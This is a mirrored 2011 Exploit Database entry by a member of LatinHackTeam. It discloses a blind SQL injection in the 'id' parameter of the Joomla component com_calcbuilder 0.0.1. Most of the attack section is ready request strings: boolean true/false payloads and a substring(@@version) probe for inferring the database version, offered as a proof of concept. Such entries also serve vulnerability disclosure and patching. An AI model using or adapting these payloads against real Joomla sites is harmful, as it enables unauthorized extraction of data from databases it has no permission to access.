Joomla! Component com_calcbuilder – ‘id’ Blind SQL Injection

• Exploit Database
• 9 阅读

• 作者： Chip d3 bi0s
  日期： 2011-06-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17414/

• ---------------------------------------------------------------------------------
  Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability
  ---------------------------------------------------------------------------------
   
  Author: Chip D3 Bi0s
  Group : LatinHackTeam
  Email & msn : chipdebios[alt+64]gmail.com
  Date: 19 June 2011
  Critical Lvl: Moderate
  Impact: Exposure of sensitive information
  Where : From Remote
  ---------------------------------------------------------------------------
   
  Affected software description:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~
   
  Application : Calc Builder
  version : 0.0.1
  Developer : Guillermo Santiago
  License : GPLv2 or later type: Commercial
  Date Added: 12 June 2011
  Price : 9.90 €
  Demo: http://components.moonsoft.es/democalcbuilder 
  Download: http://components.moonsoft.es/downloadcalcbuilder
   
  Description :
   
  CALC BUILDER allows you to create dynamic calculators.
  Define your own input user form (types, size, order,validations).
  Build results table through PHP code.
  Export result table to PDF.
  Simple and easy configuration. Three examples included.
   
   
  ---------------------------------------------------------------------------
   
   
  I.Blind SQL injection (id) Poc/Exploit:
  ~~~~~~~~~
  .....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 [blind]&fld_5=C
  
  example
  .....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=1&fld_5=C
  .....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=2&fld_5=C
  
  .....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=4&fld_5=C
  .....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=5&fld_5=C
  
   
   
  
  A special greeting to my good friends:
  R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
   
   
   
  +++++++++++++++++++++++++++++++++++++++
  [!] Produced in South America
  +++++++++++++++++++++++++++++++++++++++